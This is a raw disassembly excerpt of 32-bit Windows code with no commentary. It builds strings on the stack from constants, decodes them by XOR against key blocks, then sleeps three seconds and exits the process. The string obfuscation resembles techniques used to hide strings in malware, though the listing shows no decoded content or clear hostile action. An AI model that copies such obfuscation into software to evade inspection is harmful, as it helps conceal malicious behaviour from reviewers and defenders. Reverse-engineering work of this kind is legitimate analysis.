call dword [sym.imp.KERNEL32.dll_ExitProcess]
sub esp, 0x1c
mov ecx, edi
call fcn.00403940
add esp, 0x1c
test al, al
jne 0x402ee7
mov dword [ebp - 0x168], 0x8d7c8ba4
mov dword [ebp - 0x164], 0xecf4ee52
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x168], 0x97528df9
mov dword [ebp - 0x164], 0xfe852395
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x168], 0x8dea3fa2
mov dword [ebp - 0x164], 0xb74f80fa
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x168], 0x4c2b7396
mov dword [ebp - 0x164], 0x659a2243
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x168], 0xad21a6ff
mov dword [ebp - 0x164], 0x80bdaf14
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x168], 0xb77cc9bc
mov dword [ebp - 0x164], 0xceb500bd
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x168], 0x8dea1691
mov dword [ebp - 0x164], 0xb74f80fa
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x168], 0x4c2b7396
mov dword [ebp - 0x164], 0x659a2243
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
movaps xmm1, xmmword [ebp - 0x1b0]
xorps xmm1, xmmword [ebp - 0x190]
movaps xmmword [ebp - 0x1b0], xmm1
movaps xmm1, xmmword [ebp - 0x1a0]
mov dword [ebp - 0x178], eax
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x174], ecx
lea ecx, [ebp - 0x3b0]
xorps xmm1, xmmword [ebp - 0x180]
push eax
movaps xmmword [ebp - 0x1a0], xmm1
call fcn.004031c0
lea ecx, [ebp - 0x3b0]
mov dword [ebp - 4], 6
call fcn.00401810
lea ecx, [ebp - 0x3b0]
call fcn.00403170
push edi
call esi
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call esi
mov dword [ebp - 0x168], 0x8d7c8da4
mov dword [ebp - 0x164], 0xa0d8c740
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x168], 0xd216a7d5
mov dword [ebp - 0x164], 0xa1dc74de
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x168], 0xec9d36ff
mov dword [ebp - 0x164], 0xc23ca089
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x168], 0x3f4e10f5
mov dword [ebp - 0x164], 0x9ef4430
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x168], 0xe1accf9d
mov dword [ebp - 0x164], 0x1adf1f18
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x168], 0x9b8d7f60
mov dword [ebp - 0x164], 0xe4d13e81
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x168], 0xad21a6ff
mov dword [ebp - 0x164], 0x80bdaf14
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x168], 0xb77cc9bc
mov dword [ebp - 0x164], 0xceb500bd
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x168], 0x8dea1691
mov dword [ebp - 0x164], 0xb74f80fa
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x168], 0x4c2b7396
mov dword [ebp - 0x164], 0x659a2243
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x168], 0xe1accfb3
mov dword [ebp - 0x164], 0x1adf1f18
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x168], 0x9b8d7f60
mov dword [ebp - 0x164], 0xe4d13e81
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
movaps xmm1, xmmword [ebp - 0x1c0]
xorps xmm1, xmmword [ebp - 0x210]
movaps xmmword [ebp - 0x1c0], xmm1
movaps xmm1, xmmword [ebp - 0x1b0]
xorps xmm1, xmmword [ebp - 0x200]
movaps xmmword [ebp - 0x1b0], xmm1
movaps xmm1, xmmword [ebp - 0x1a0]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
xorps xmm1, xmmword [ebp - 0x1f0]
lea eax, [ebp - 0x1c0]
push eax
lea ecx, [ebp - 0x3c8]
movaps xmmword [ebp - 0x1a0], xmm1
call fcn.004031c0
lea ecx, [ebp - 0x3c8]
mov dword [ebp - 4], 7
call fcn.00401810
lea ecx, [ebp - 0x3c8]
jmp 0x402ceb